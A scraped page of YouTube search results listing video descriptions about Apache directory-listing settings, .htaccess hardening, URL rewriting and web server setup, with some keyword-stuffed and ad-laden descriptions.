Search results “Apache options directory indexes”
Web Server: Enable Directory Listing / Directory Browsing with .htaccess & create files with no name
Web Servers hide the contents of folders by default. If there’s no index.html or index.php file, it will show a "403 Forbidden" error. That means that the folder exists, but you don’t have access to it. Different from a "404 Not Found" error, meaning no such folder exists. If you want to see the files inside all folders, you need to put this .htaccess file in the directory you want to enable Download htaccess zip http://www.mediafire.com/download/qm398c6l99xl8o8/htaccess+File+Inside.zip UnZip it and it should work. (This is if you’re having trouble creating files with no name, only an extension) ➤Create .htaccess file -Open notepad (or other text editor) -Save a blank file called ".htaccess" (no filename just an extension) -Make sure you change the "Save as Type" dropdown from "Text Document *.txt" to "All files" -Use ftp software to copy the .htaccess file to your web server -You might need to "Show hidden files" in order to see it ➤Configuring htaccess ➨"Options +Indexes" -Adding this enables the list of files in the folder -Capitalization doesn’t matter -You can comment out lines with a hashtag/number sign (#) ➨"IndexOptions FancyIndexing" -This changes the display ➨"Options -Indexes" -this hides the listings. Add a new .htaccess file in a subfolder to disable directory listing in that folder and keep it active in the containing folder ➨"DirectoryIndex 1.txt" -This sets the default page to load instead of index.html or index.php (as long as 1.txt exists) ➨"IndexIgnore *.txt *.doc" -This excludes any files with the extension txt & doc from the list -They’re still accessible by direct URL, but just won’t show up if directory listing is enabled More Detailed video https://www.youtube.com/watch?v=hsaaVCB55dQ
Views: 33944 TanUv90
Apache Secure Tutorial: Hide HTTP Header and Disable Directory Listing
This is one of the basic secuirty hardening and first steps, by default server will show the OS information and Apache version in the footer whenever a page not found or any other requests replies. One of the first steps when you start securing your Apache server is to disable the directory browsing, you don't want anyone to browse your file and know the structure. Other Apache Hardening Tutorials: 1- Secure Apache Web Server - Use SSLScan and Disable Ciphers: https://goo.gl/mb7pYz 2- Apache Secure Tutorial: Hide HTTP Header and Disable Directory Listing: https://goo.gl/VqcLrG 3- Apache Hardening Tutorial: Disable HTTP Trace / Cross Site Method https://goo.gl/KJnbDS Disable Server Response Header vi /etc/httpd/conf/httpd.conf Add ServerTokens Prod Save Restart Apache service httpd restart "RHEL/CentOS 6 and earlier versions" systemctl restart httpd "RHEL/CentOS 7 and earlier versions" Disable Apache Trailing Footer vi /etc/httpd/conf/httpd.conf Add ServerSignature Off Save Restart Apache service httpd restart "RHEL/CentOS 6 and earlier versions" systemctl restart httpd "RHEL/CentOS 7 and earlier versions" n this example i will disable browsing for /var/www/html/dotsway folder. vi /etc/httpd/conf/httpd.com Add below to the directory part Options -Indexes Save Restart Apache service httpd restart OR systemctl restart httpd
Views: 3113 dotsway
Apache - disable and enable directory listing
Apache http server can be downloaded from: http://httpd.apache.org/ In httpd.conf disable directory listing Options -Indexes enabledirectory listing Options +Indexes More about this video: http://jiansenlu.blogspot.ca/2014/01/apache-disable-directory-listing.html
Views: 9600 Jiansen Lu
Fancy Directory Index Tutorial! - here is how to make your any  directory listing look awesome!
🔐 GET PROTECTED! 🔐 🔥 EXLUSIVE SKYMASHI DEAL - SAFE 57%! 🔥 With military grade encryption - free socks5 - NO logs and over 40.000 available IP´s! USE VPN AND DON`T LET YOUR ISP SEE AND SELL YOUR PRIVATE DATA!! 🔥 WORLDS VPN NR. 1 🔥 Use Coupon Code: SKYMASHITV http://bit.ly/2JEv0BU Often requested after my Repo and Wizard Tutorials how to make the repo, wizard or any other directory listing look better and with features like I have here: http://skymashi.eu/repo http://skymashi.eu/dl And here it is, the Tutorial so many wanted :) #Fancy Repo Index Tools: Notepad++: https://notepad-plus-plus.org/download/v7.5.4.html Online HTML Editor: https://html-online.com/editor/ Imagemap Creator: http://www.image-maps.com/ Download Fancy Repo tutorial Zip: https://goo.gl/Bn3S5Q ***** BEST PREMIUM IPTV ***** 300+ Channels ( US/UK/CAN ) + PPV Events ( UFC/NHL/MBA/NFL) included! Monthly 15$ Offer: first 3 month - 10% with Coupon Code: SkymashiTV10 Link: https://goo.gl/EAa7Ti I use it my self and can only highly recommend it! ***** BECOME A PATRON TODAY FOR EXCLUSIVE REWARDS ***** SkymashiTV Patreon Page: https://www.patreon.com/SkymashiTV ***** BETTER, MORE & FASTER SOURCES - DEBRID ***** Real Debrid: https://goo.gl/Ewg8wR ***** BEST VPNs FOR KODI - STAY SAFE ***** ExpressVPN: https://goo.gl/UBIWpj IPVanish: https://goo.gl/0ltmO6 PIA: https://goo.gl/NRSYR2 ***** PAY LESS FOR TV-BOXES/PHONES/ELECTRONICS ***** Gearbest: https://goo.gl/Sg9aN6 ***** My favorite Android Boxes ***** low-end: http://amzn.to/2ol9QNl mid-range: http://amzn.to/2nlAmH9 high-end: http://amzn.to/2nVbBEp ***** My favorite Remotes **** Rii i8+: http://amzn.to/2mFkFgT Harmony Hub/Elite: http://amzn.to/2nY3WG6 ***** INFO ***** Dont forget to check out the links below for FB Support Group, Repo and Wizard Links!! Homepage: http://skymashi.eu Repository: http://skymashi.eu/repo/ Build Wizard: http://skymashi.eu/wizard/ FB Support Group: https://www.facebook.com/groups/SkymashiTV/ ***** LIKE TO SUPPORT US ? ***** Like to support us and donate, you can do so in various ways: Patreon: https://www.patreon.com/SkymashiTV Donation: https://www.paypal.me/SkymashiTV Amazon Wishlist: http://amzn.eu/8JwRvqB 🔥 BEST PREMIUM IPTV 🔥 1300+ Channels ( US/UK/CAN/PINOY & MORE ) + PPV Events ( UFC/NHL/MBA/NFL/Premier League ) included! Monthly 15$ Link: http://bit.ly/getcloud9 Want something cheaper ? Why not try Velocity TV! 5000+ Channels + Adult + 24/7 Monthly 7$ Link: https://www.velocitytv.cc I use it my self and can only highly recommend it! 🔥 RECOMMENDED GEAR 🔥https://www.amazon.com/shop/skymashitv 📧 Business & Sponsorship inquiries - email: [email protected] 📈 Support me on Patreon: https://www.patreon.com/SkymashiTV 💵 Paypal Donation: http://paypal.me/SkymashiTV 📬 Like to send something to talk or feature on the channel? Or generally send me Mail? 📬 Send to: PM1722677, 1A McKinney Road, Newtownabbey, Co Antrim, BT36 4PE, UK ★ Follow ME! ★ 🐦 Twitter: http://twitter.com/SkymashiTV 📷 Instagram: http://instagram.com/skymashitvtech 🎭 Facebook: http://facebook.com/SkymashiTV/ 🔥 Recommended VPN´s - Stay safe! 🔥 🖧 IPVanish: http://bit.ly/2JEv0BU 🖧 Fastest VPN: http://bit.ly/2HfTsv2 🖧 PIA: http://bit.ly/2qmpo6i 🔥 Recommended TV Boxes 🔥 📺 Low-end Tanix TX3 International: https://goo.gl/uwZNzi Amazon UK: http://amzn.to/2o0fgjp Amazon US: https://amzn.to/2uZkTnR 📺 Mid-Range: MX10 International: https://goo.gl/5rWMpz Amazon UK: http://amzn.to/2o0woFs Amazon US: http://amzn.to/2sv1byR 📺 High-end: Nvidia Shield Amazon UK: http://amzn.to/2EDG1DR Amazon US: http://amzn.to/2HcYHst 🔥 Recommended Remotes 🔥 🔦 Rii i8 Remote: International (cheapest option): https://goo.gl/29Yidd Amazon UK: http://amzn.to/2nXUCPU Amazon US: http://amzn.to/2sqMYTI 🔦 Mele F10 Remote: International (cheaperst option): https://goo.gl/YNVERN Amazon UK: http://amzn.to/2F06bhT Amazon US: http://amzn.to/2BUSaDn 📽 SkymashiTV is a channel dedicated to making Streaming Media & Tech accessible and easy understandable for anyone via tutorials, guides, how-to videos, product reviews and more! Any links to products or services may be affiliate links that give me a small comission at absolutely no cost to you, with no influence on the content.
Views: 419 SkymashiTV
What is WEBSERVER DIRECTORY INDEX? What does WEBSERVER DIRECTORY INDEX mean? WEBSERVER DIRECTORY INDEX meaning - WEBSERVER DIRECTORY INDEX definition - WEBSERVER DIRECTORY INDEX explanation. Source: Wikipedia.org article, adapted under https://creativecommons.org/licenses/by-sa/3.0/ license. SUBSCRIBE to our Google Earth flights channel - https://www.youtube.com/channel/UC6UuCPh7GrXznZi0Hz2YQnQ When an HTTP client (generally a web browser) requests a URL that points to a directory structure instead of an actual web page within the directory, the web server will generally serve a default page, which is often referred to as a main or "index" page. A common filename for such a page is index.html, but most modern HTTP servers offer a configurable list of filenames that the server can use as an index. If a server is configured to support server-side scripting, the list will usually include entries allowing dynamic content to be used as the index page (e.g. index.php, index.shtml, index.jsp, default.asp) even though it may be more appropriate to still specify the html output (index.html.php or index.html.aspx), as this should not be taken for granted. An example is the popular open source web server Apache, where the list of filenames is controlled by the DirectoryIndex directive in the main server configuration file or in the configuration file for that directory. It is possible to make do without file extensions at all, and be neutral to content delivery methods, and set the server to automatically pick the best file through content negotiation. If the server is unable to find a file with any of the names listed in its configuration, it may either return an error (generally 404 Not Found) or generate its own index page listing the files in the directory. It may also return a 403 Index Listing Forbidden. Usually this option is also configurable. Since the index page is often the first page of a Web site that a user sees, it is sometimes used to offer a menu of language options for large Web sites that use geo targeting. It is also possible to avoid this step, for example by using content negotiation.
Views: 54 The Audiopedia
Solr Indexing Sample Docs to solr core and searching with various filter query options
This tutorial will help in indexing sample Solr Docs using Post Utility. Indexing into specific core. Searching queries to fetch data based on Filter query and other options. let assume file as dummy.xml under example/exampledocs directory. Go to exampledocs directory using command prompt & execute - java -jar post.jar dummy.xml For multiple XML files use - java -jar post.jar dummy.xml dummy1.xml For all XML files present in working directory use- java -jar post.jar *.xml SimplePostTool version 1.5 Posting files to base url http://localhost:8983/solr/update using content-type application/xml.. POSTing file dummy.xml 1 files indexed. COMMITting Solr index changes to http://localhost:8983/solr/update.. Time spent: 0:00:00.547
Views: 15258 Learn Technology
.htaccess Tutorials - Directory Listing (index of list)
.htaccess Tutorials - Directory Listing (index of list) .htaccess code : Options -Indexes IndexIgnore * Stack Overflow Question : http://stackoverflow.com/questions/14062641/indexignore-or-options-indexes Localhost Server Configuration : Apache Version : 2.2.22 PHP Version : 5.3.13 MySQL Version : 5.5.24 WampServer Version : 2.2 More .htaccess Tutorials : http://youtube.com/playlist?list=PLhSnGF_9H8EQBxUdaBQUOrp0zYmyi7ZIG --- Links --- Hosting Coupon Codes http://coupon.verifiedjoseph.com === Email Me: http:///emailme.verifiedjoseph.com Google+ http://plus.verifiedjoseph.com Twitter : http://twitter.verifiedjoseph.com Website : http://verifiedjoseph.com Stats : http://vstats.verifiedjoseph.com === Interested in a YouTube partnership with RPM Network/Maker Studios: http://network.verifiedjoseph.com
Views: 2770 Echo 442 Studios
Prevent Directory Browsing On Your WordPress - Hackers Love Directory Browsing | WP Learning Lab
Grab Your Free 17-Point WordPress Pre-Launch PDF Checklist: http://vid.io/xqRL Download our exclusive 10-Point WP Hardening Checklist: http://bit.ly/10point-wordpress-hardening-checklist Prevent Directory Browsing On Your WordPress - Hackers Love Directory Browsing | WP Learning Lab # BEGIN Directory Browsing Block Options -Indexes # END Directory Browsing Block In this tutorial I show you how to stop hackers from seeing which plugins and themes you have installed on your WordPress site. When hackers know what you have installed they also know what vulnerabilities you have on your site. That makes it easier for them to hack your site. So for your WordPress security make sure you stop directory browsing. So let's put that code into your .htaccess file. First login into your hosting account cPanel. Then find and click on the File Manager icon and choose the Document Root for the website that you are hardening. This will open the root of the website in another tab. You can also log into the website root using FTP if you are more comfortable with that. If you do not see a .htaccess in the website right then you can make one by clicking Add New File in the File Manager or right-clicking and choosing Create New File via FTP. Open the .htaccess file and paste the code from above into it. There is no need to make adjustments to the code. Once pasted in just save the file and you're done. This is an easy way to begin hardening your WordPress site. I hope this information helps you! If you have any questions leave a comment below or ping me @WPLearningLab on Twitter. -------------- If you want more excellent WordPress information check out our website where we post WordPress tutorials daily. http://wplearninglab.com/ Connect with us: WP Learning Lab Channel: http://www.youtube.com/subscription_center?add_user=wplearninglab Facebook: https://www.facebook.com/wplearninglab Twitter: https://twitter.com/WPLearningLab Google Plus: http://google.com/+Wplearninglab Pinterest: http://www.pinterest.com/wplearninglab/
Installing and Configuring Web Server in Linux  -Step by Step Method
Apache is the Web Server most frequently used on the Internet today. This tutorial covers its installation and and configuration in Red Hat Linux 6.0 and 7.0. The CD-ROM distribution includes an Apache package, but you can also download Apache for free. • Installing Apache Mount the CD-ROM 1 and install the package for apache. The package will automatically create all the directories for you besides installing the software. The document root will be placed in /home/httpd in 6.0 and in /var/www in 7.0. The server root will be located in /etc/httpd. The path to the apache program will be /usr/sbin/httpd. • Configuring Apache in 6.0 Apache comes with the three configuration files mentioned above already with basic configuration information. Your job will be to tailor these configuration files to your needs. In this tutorial we will only deal with some basic features you need or may be interested in adding to your Web server. 1. httpd.conf: this is the configuration file related to the server in itself. Open the file httpd.conf in Kedit or any other text editor like Pico or Emacs. You are supposed to find the line ServerNameand enter the FQDN of your machine, and also find the line ServerAdmin and enter your e-mail address. The server comes configured to run in standalone mode, to listen in port 80, with user and group nobody privileges (low level of permissions for security reasons), and you don't need to change these options. 2. access.conf: this is the configuration file related to access to directories and services in the Web server. Again, open the file access.conf in a text editor. Look for the section that starts with and look for the Options line and change it to allow Server Side Includes, but disabling scripts to be run from a Web page, as follows: Options Indexes Includes FollowSymLinks IncludesNOEXEC. This will allow the dynamic dating of your changes, the dynamic display of time and date in your pages, but will prevent scripts to be run outside of your cgi-bin directory. For example, will be displayed as Saturday July 22, 2017 -- 01:59 PM As an additional security measure you may also change the section starting with so that the Options line be commented out as follows: # Options ExecCGI. This will not prevent you to run CGI programs in cgi-bin, but rather it will prevent the command exec to be used even in the cgi-bin directory. 3. srm.conf: this is the configuration file related to the location of the document root, directory infornation formatting, user directories, etc. Once more, open the file srm.conf in a text editor. If you want to change the location of the document root, look for the line DocumentRoot /home/httpd/html and change it to a new location, but do not forget to move its three sub-directories (html, cgi-bin and icons) to the new location, but there is no need for it. You may wish, however, to change the default user Web directory to www . Look for the line UserDir and change it to UserDir www . Files placed in the user accounts in this directory are displayed in the web when /~username is used after the server name (e.g. ubmail.ubalt.edu/~abento). You may also want to add index.htm to the list of files that may be index files to a Web directory. In order to do so, look for the line DirectoryIndex and change it to DirectoryIndex index.html index.shtml index.htm Check that your cgi-bin directory is properly identified as follows: ScriptAlias /cgi-bin/ /home/httpd/cgi-bin/ . If you moved your document root path change this line accordingly. If you want your CGI script files to be identified with .cgi be sure that the line AddHandler cgi-script .cgi is not commented out (market with in * in front). To complete the installation of server side includes be sure that the following two lines are present: AddType text/html .shtml AddHandler server-parsed .shtml Finally, to make your Web server support image maps be sure that the following line exists: AddHandler imap-file map • Configuring Apache in 7.0 Apache in 7.0 comes with the same three configuration files, but only httpd.conf needs to be configured, changed, by you. The other two are considered obsolete and should not be changed.
Views: 13565 Skill Institution
Allow Folder / Directory View in Apache | macOS
Let’s make all the Directories in our Apache Server View-able! Steps: - sudo nano /etc/apache2/httpd.conf - Add Indexes in Options Line under Directory… - sudo apachectl restart -- More Tutorials At -- https://www.sts-tutorial.com
Views: 4 STS
Manually Installing and Configuring Apache 2.4 VC14 on Windows 10
I cover the process of manually installing and configuring the 64-bit version of Apache 2.4 on Windows 10 for local development. The version of Apache 2.4 that I choose to download is one that will work with PHP. I spend some time going over various problems that you might encounter. Table of Contents 1:11 Downloading the web server program. 2:41 Verifying the SHA-1 checksum of the software. 4:36 Extracting the program to C:\Apache24 5:15 Running the server from the command prompt 5:42 Troubleshooting the missing VCRUNTIME140.dll error message 7:35 Instructing Windows Firewall to allow access to the web server for private networks only. 8:00 Troubleshooting the "AH00072: make_sock: could not bind to address" error message. 10:18 Starting the program successfully for the first time. 10:55 Determining where the "It works!" web page comes from. 11:53 Creating a virtual host configuration entry to support multiple websites for local development. 14:15 Stopping and starting the server that is still running from the command line. 14:45 Editing the hosts file that tell my computer that specific website address go to my local computer. 16:12 Figuring the "Access is denied" message when trying to save the hosts file. 17:05 Troubleshooting when your web browser searches for the website address instead of actually navigating to it in the address bar. 17:45 Figuring out what causes the "You don't have permission to access / on this server" message. 20:42 Creating an index.html test file. 21:32 Troubleshooting seeing index.html.txt file instead of the contents of the test page. 23:00 Changing more settings in the httpd.conf file (AllowOverride to All and removing the Indexes option). 23:56 Revisiting another variation of the "You don't have permission to access /" message. 26:10 Looking at the "AH00526: Syntax error" message 26:40 Installing Apache 2.4 as a Windows service 28:30 Looking at the Apache Monitor 29:25 Troubleshooting the "The requested operation has failed" message when starting the web server from the monitor. 31:26 Getting the Apache Monitor to automatically start.
Views: 13607 ProgramOften
How to disable Apache directory listing in cPanel
cPanel's installation by default installs and enable "mod_autoindex". Apache will display the list of files and folders of the directory whenever "DirectoryIndex" files are not present. Full and up-to-date article: https://www.simplified.guide/cpanel/disable-directory-listing
Views: 28 Simplified Guide
Shorter share links: getting rid of index.php
By default, Nextcloud share links look like mynextcloud.com/index.php/s/20v0rfzow20 By removing the 'index.php' part, the links get much shorter! mynextcloud.com/s/20v0rfzow20 How? A few server settings is all it takes. Watch the video! Enable the rewrite and env modules in Apache: a2enmod rewrite a2enmod env Enable AllowOverride in the Apache config: vi /etc/apache2/apache2.conf Directory /var/www/ Options Indexes FollowSymLinks AllowOverride None ---- to All Require all granted /Directory Add RewriteBase "/" to the Nextcloud config: cd /var/www/html/ sudo -u www-data ./occ config:system:set htaccess.RewriteBase --value / NOTE that / should be where Nextcloud is installed; that can be /nextcloud, for example. And if you've configured your webroot to be /var/www/html/nextcloud it is / again sudo -u www-data ./occ maintenance:update:htaccess Restart the webserver: service apache2 restart Thanks to Lukas for the idea and how-to! Get your nextcloud at nextcloud.com
Views: 2739 Nextcloud
Apache URL Rewrite (mod_rewrite module) #57
In this tutorial you will learn how to activate Apache URL Rewrite by using mod_rewrite module. I will show you how to activate mod_rewrite module, how to modify an already defined Apache Virtual Host and I will explain what the new options are doing. During this tutorial I will spreak about the following Apache directives: Directory, Options, AllowOverride, Order and Allow. More info on: http://www.liviubalan.com/apache-url-rewrite-mod_rewrite-module
Views: 4656 Liviu Balan
Site.com/username | Rewrite URL with htaccess
[+]site.com/user/profile.php?id=user will be site.com/user rewrite url htaccess rewrite url htaccess php rewrite url htaccess generator rewrite url htaccess examples rewrite url htaccess wordpress rewrite url htaccess stackoverflow rewrite url htaccess codeigniter rewrite url htaccess online rewrite url htaccess php parameters rewrite url htaccess tutorial rewrite url htaccess https rewriterule htaccess apache rewrite url htaccess apache url rewrite .htaccess asp.net .htaccess rewrite url add www htaccess rewrite url alias angularjs rewrite url htaccess htaccess rewrite url to another htaccess rewrite url to another domain .htaccess rewrite url with anchor allow url rewrite htaccess rewrite the url htaccess rewrite url by .htaccess rewrite base url htaccess htaccess rewrite url in address bar htaccess rewriterule builder htaccess rewriterule base htaccess rewriterule cgi-bin rewriterule htaccess beispiel htaccess rewriterule block rewriterule htaccess codeigniter rewriterule htaccess como usar rewriterule htaccess clean url url rewrite code htaccess rewrite url using .htaccess in codeigniter htaccess rewrite url contains htaccess rewrite url css htaccess rewrite url case insensitive htaccess rewrite url condition rewriterule htaccess directory htaccess rewriterule doesn't work rewriterule htaccess domain rewrite dynamic url htaccess htaccess rewrite url directory htaccess rewrite url different domain drupal rewrite url htaccess htaccess rewrite url domain name htaccess rewrite url domain htaccess rewrite url remove directory php rewrite url htaccess example url rewriting using htaccess example htaccess rewrite url exception htaccess rewrite url extension htaccess rewrite url encode htaccess rewrite url without extension htaccess url rewrite exclude directory .htaccess url rewrite remove extension htaccess enable url rewrite htaccess rewriterule e rewriterule htaccess folder rewriterule htaccess file rewriterule htaccess flags rewriterule ^.htaccess$ - f rewrite url folder htaccess rewriting url with .htaccess file rewrite url in php htaccess file htaccess rewrite url friendly htaccess rewrite url for wordpress how to rewrite url using .htaccess file in php htaccess rewriterule f htaccess rewriterule f l htaccess rewrite url get parameters htaccess rewrite url get variables rewrite get url htaccess .htaccess url rewrite godaddy online .htaccess url rewrite generator rewriterule htaccess https rewrite url htaccess html rewriterule htaccess html how to rewrite url htaccess htaccess url rewrite hide .php htaccess url rewrite html to php htaccess rewrite url with hash htaccess url rewrite remove html huong dan rewrite url htaccess rewriterule htaccess index.php rewrite url htaccess in wordpress rewrite url htaccess in php rewriterule htaccess index rewrite url in htaccess url rewrite in htaccess + examples url rewrite iis htaccess url rewrite in .htaccess is not working url rewriterule htaccess rewrite url htaccess joomla joomla htaccess rewriterule htaccess rewriterule js htaccess rewriterule jpg htaccess rewriterule kullanımı htaccess rewriterule keep url rewriterule htaccess l rewriterule htaccess là gì rewriterule htaccess localhost rewrite url htaccess localhost rewrite url lowercase htaccess htaccess rewrite url laravel htaccess url rewrite language htaccess rewriterule ^index .php$ - l htaccess rewriterule r=301 l htaccess rewriterule l flag htaccess rewriterule l htaccess rewriterule qsa l htaccess rewriterule l nc htaccess rewriterule r l url rewrite magento htaccess htaccess rewrite url masking htaccess rewrite url mvc htaccess url rewrite multiple parameters htaccess url rewrite multiple variables url mod_rewrite htaccess htaccess multiple url rewrite .htaccess url rewrite redirects mobile magento 2 url rewrite htaccess htaccess multiple rewriterule rewriterule htaccess not working rewriterule htaccess nginx rewriterule htaccess nc rewriterule htaccess not found rewrite url htaccess not working url rewrite htaccess nginx rewrite url name htaccess .htaccess url rewrite not working on server htaccess url rewrite non www to www rewriterule htaccess options
Views: 20309 SourceCode Powered
Apache Solr Wikipedia index example
A short introduction to Apache Solr with an example of how to start, configure and use Apache Solr to index and search a Wikipedie XML dump.
Views: 29930 Mathias Hecht
How to hide your website files from Visitors
How to Prevent a Directory Listing of Your Website with .htaccess by H3X KH4N. If you create a new directory (or folder) on your website, and do not put an "index.html" file in it, you may be surprised to find that your visitors can get a directory listing of all the files in that folder. For example, if you create a folder called "incoming", you can see everything in that directory simply by typing "http://www.example.com/incoming/" in your browser. No password or anything is needed. This article shows you how you can configure your web server so that it does not show a directory listing by default. Prerequisites Your Website Must Be on an Apache Web Server For the method described in this article to work, your site should be hosted on an Apache web server. This probably constitutes the majority of websites on the Internet, so it is likely that you satisfy this requirement. In general, if your web server (the computer that your site is running on) is using Linux or FreeBSD, chances are that it's on an Apache server. If your server is using Windows, your website is probably not using Apache. Note that I'm talking about the computer hosting your website, not your own personal computer. If you're not sure, ask your web host. Your Web Host Must Have Enabled .htaccess Server Overrides In addition to being hosted on an Apache web server, your web host needs to have enabled server overrides. This facility allows you to modify the web server configuration from your own website. In practice, this usually means that your website is hosted on a commercial web host rather than a free one. Free web hosts normally don't allow websites hosted on them to change the web server behaviour. Both the above conditions must be true, or you won't be able to successfully do the things mentioned in this guide. Is Protecting Your Directory Listing From View a Security Measure? Protecting your directories from being listed by your website's visitors does not, in and of itself, make your website more secure. At best, it's security by obscurity — that is, you hope that by hiding stuff from view, nefarious visitors up to no good will not be able to get access to those things. It's the web equivalent of hiding your life savings under your mattress. However, while you should of course implement other measures for securing your site, it's still good practice not to allow your directories to be listed by default. That way, at least, you don't make it too easy for others to survey your site for vulnerabilities. This is especially so if you have third-party scripts on your site (such as, for example, you run a blog). It's important to realise this, so that you don't rely on this method alone for security. Make a Backup of the .htaccess File If you managed to find and download the .htaccess file from your site, save a backup copy on your own computer. That is, make sure you have 2 copies of the .htaccess file on your computer, the one you are about to modify, and a pristine copy of the original. The backup is useful in case you accidentally make an error later. Create or Open the .htaccess File If you've managed to get the .htaccess file, open it in an ASCII text editor (like Notepad). If one does not exist, use the editor to create a new blank document. The rest of this article will assume that you have already started the editor with the .htaccess open or with a blank document if no .htaccess file previously existed. WARNING: do not use a wordprocessor like Word, Office, or WordPad to create or edit your .htaccess file. You should also not use a WYSIWYG (What-You-See-Is-What-You-Get) web editor for this purpose. If you do, your site will mysteriously fail to work when you upload the file to your web server. This is very important. There are no exceptions. Disable Indexing Add the following line to your .htaccess file. Options -Indexes Conclusion: If all goes well, you should get a "Forbidden" error when you try to access a directory that doesn't have an index file.
Views: 8500 H3X KH4N
How to : Create an alias directory with WAMP
Tags: active directory alias computer name active directory alias email active directory alias length active directory alias login active directory alias mailnickname active directory alias name active directory alias object active directory alias property alias a directory in linux alias active directory alias active directory account alias active directory domain alias active directory exchange alias active directory users alias cd directory alias cd to directory alias change directory alias command directory alias current directory alias directory .htaccess alias directory apache alias directory apache ubuntu alias directory apache windows alias directory bash alias directory example alias directory forbidden alias directory httpd.conf alias directory in apache alias directory in apache windows alias directory in linux alias directory in unix alias directory in xampp alias directory index alias directory index forbidden by options directive alias directory linux alias directory location alias directory name alias directory nginx alias directory path alias directory php alias directory terminal alias directory ubuntu alias directory unix alias directory wamp alias directory windows alias directory windows 7 alias directory xampp alias for directory bash alias for directory in linux alias for directory path in unix alias previous directory alias ssh directory alias to change directory linux alias to directory apache alias to directory in unix alias to directory linux alias user_data directory alias virtual directory alias virtual directory apache alias virtual directory iis alias working directory apache alias a directory apache alias allow directory listing apache alias directory 403 apache alias directory 403 error apache alias directory 404 apache alias directory and subdirectories apache alias directory browsing apache alias directory centos apache alias directory example apache alias directory example windows apache alias directory forbidden apache alias directory linux apache alias directory listing apache alias directory network drive apache alias directory not found apache alias directory not working apache alias directory on windows apache alias directory options apache alias directory outside of wwwroot apache alias directory permission apache alias directory permission denied apache alias directory redirect apache alias directory ssl apache alias directory tutorial apache alias directory virtual host apache alias directory windows apache alias error directory apache alias external directory apache alias parent directory apache alias remote directory apache alias root directory apache alias without directory apache directory alias wildcard apache2 alias directory permissions apache2 directory alias bash alias change directory bash alias directory path bash alias to directory bash alias working directory browserify alias directory create alias directory windows create alias directory xampp create alias for directory on linux create directory alias oracle directory alias filezilla server directory alias in windows directory alias mac directory alias powershell directory alias zsh dns alias virtual directory dos alias directory drush alias directory easyphp alias directory emacs alias directory filezilla directory alias example git alias working directory httpd alias directory forbidden iis 6 alias virtual directory k directory alias keyring alias directory lighttpd alias directory linux alias change directory make alias directory mamp alias directory mamp alias to directory mod_alias directory nginx alias directory index nginx alias directory index of is forbidden nginx alias directory php nginx alias to directory oracle alias directory os x alias directory os x directory alias owncloud directory alias name powershell alias change directory redmine alias directory rewriterule alias directory server alias directory shell alias directory svn alias directory tomcat 7 alias directory tomcat alias directory unix alias a directory unix alias directory name unix alias for directory virtual host directory alias vsftpd alias directory wamp alias directory does not exist wamp alias directory forbidden wamp alias directory not working windows 7 alias directory windows 8 directory alias xampp alias directory mac
Turn off directory indexes with .htaccess
Disable directory indexes with a simple addition to your .htaccess flie. This modification will prevent nosey surfers from exploring your directories and also protect some of your website files from being downloaded. This is a much simpler method versus putting a blank index page in each directory.
Views: 6212 wormracer08
(Part 3) Lucene Creating the Index
This video tutorial shows how to use Lucene to create an index based on text files in a directory. Github Link - https://github.com/chiragagrawal93/Lucene-Tutorials
Views: 7058 CompTutsIN
How to Disable Directory Browsing in WordPress
If your webserver does not find an index file it automatically displays an index page showing the contents of the directory. This makes your site vulnerable to hacks by showing the information needed to get into your theme or a plugin. In this video, we will show you how to disable directory browsing in WordPress. If you liked this video, then please Like and consider subscribing to our channel for more WordPress videos. Text version of this tutorial: http://www.wpbeginner.com/wp-tutorials/disable-directory-browsing-wordpress/ Follow us on Twitter: http://twitter.com/wpbeginner Checkout our website for more WordPress Tutorials http://www.wpbeginner.com/ Summary of this Tutorial: Start by connecting to your site using FTP. You will need to edit your .htaccess file in the root directory of your site found in your root directory. If you do not see the file you will need to tell your FTP client to show hidden files. Download your .htaccess and open it in a text editor like notepad and add the following to the bottom: "Options -Indexes" Then save the file and reupload it to your server with your FTP client.
mod_rewrite not working on Apache in ubuntu 18.04 / 16.04 laravel routes not work
Directory /var/www/gloops/public Options Indexes FollowSymLinks AllowOverride All Require all granted /Directory sudo a2enmod rewrite
Views: 155 WorldGyan
How to Password Protect a Directory With .htaccess
How to password protect a directory with .htaccess outlines step by step methods for password protecting a web folder. Created by https://goo.gl/4UFEae At times you may want to password protect certain parts of your website, then the easiest method (although never secure) is to use .htaccess file for securing your folders/directories. Or perhaps you want to just learn how to password protect using apache web server directives to gain more web security knowledge. To learn more about Authentication using apache server directives visit: http://httpd.apache.org/docs/2.2/howto/auth.html If you have any issues with Apache htaccess password not working, then it may be related to many issues such as, file permissions, shared hosting, undefined URL path, encryption, decryption, user name and password mismatch, or your server may be using either crypt, MD5, SHA1 encryption algorithm, or just a simply misconfiguration may be the reason for htaccess password not working. You may even experience 500 internal server error while implementing password protection using the .htaccess file. The best option then would be to make sure that you thorough check your error logs to identify the causes of password protection not functioning. To share this video tutorial simply copy and paste this: http://youtu.be/o6q374gtNVg This video tutorial is first created by #rankyaseoservices #YouTube channel http://goo.gl/hwFQY4 For my loyal fans, subscribers and new followers. Thank you for learning with me and thank you for sharing this video explaining Password Protecting a Web Directory using .htaccess file
Views: 49214 RankYa
Установка Web-сервера под Windows #2 – Apache и PHP
Правки в httpd.conf: Options Includes Indexes FollowSymLinks AllowOverride All Allow from all DirectoryIndex index.php index.html Подключение PHP: LoadModule php7_module "C:\web\server\php\php7apache2_4.dll" AddHandler application/x-httpd-php .php PHPIniDir "C:\web\server\php" Команды для установки Apache: cd "c:\web\server\apache\bin" httpd -k install Путь файла hosts: C:\Windows\System32\drivers\etc
Views: 652 Eni WEB
Configuring Web Server on Ubuntu
apache2.conf: the main Apache2 configuration file. Contains settings that are global to Apache2. conf.d: contains configuration files which apply globally to Apache2. Other packages that use Apache2 to serve content may add files, or symlinks, to this directory. envvars: file where Apache2 environment variables are set. httpd.conf: historically the main Apache2 configuration file, named after the httpd daemon. The file can be used for user specific configuration options that globally effect Apache2. mods-available: this directory contains configuration files to both load modules and configure them. Not all modules will have specific configuration files, however. mods-enabled: holds symlinks to the files in /etc/apache2/mods-available. When a module configuration file is symlinked it will be enabled the next time apache2 is restarted. ports.conf: houses the directives that determine which TCP ports Apache2 is listening on. sites-available: this directory has configuration files for Apache2 Virtual Hosts. Virtual Hosts allow Apache2 to be configured for multiple sites that have separate configurations. sites-enabled: like mods-enabled, sites-enabled contains symlinks to the /etc/apache2/sites-available directory. Similarly when a configuration file in sites-available is symlinked, the site configured by it will be active once Apache2 is restarted. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #apt-get install apache2 # #cd /etc/apache2/sites-available Now Create your own website here. #sudo cp 000-default.conf mysite.conf #sudo nano 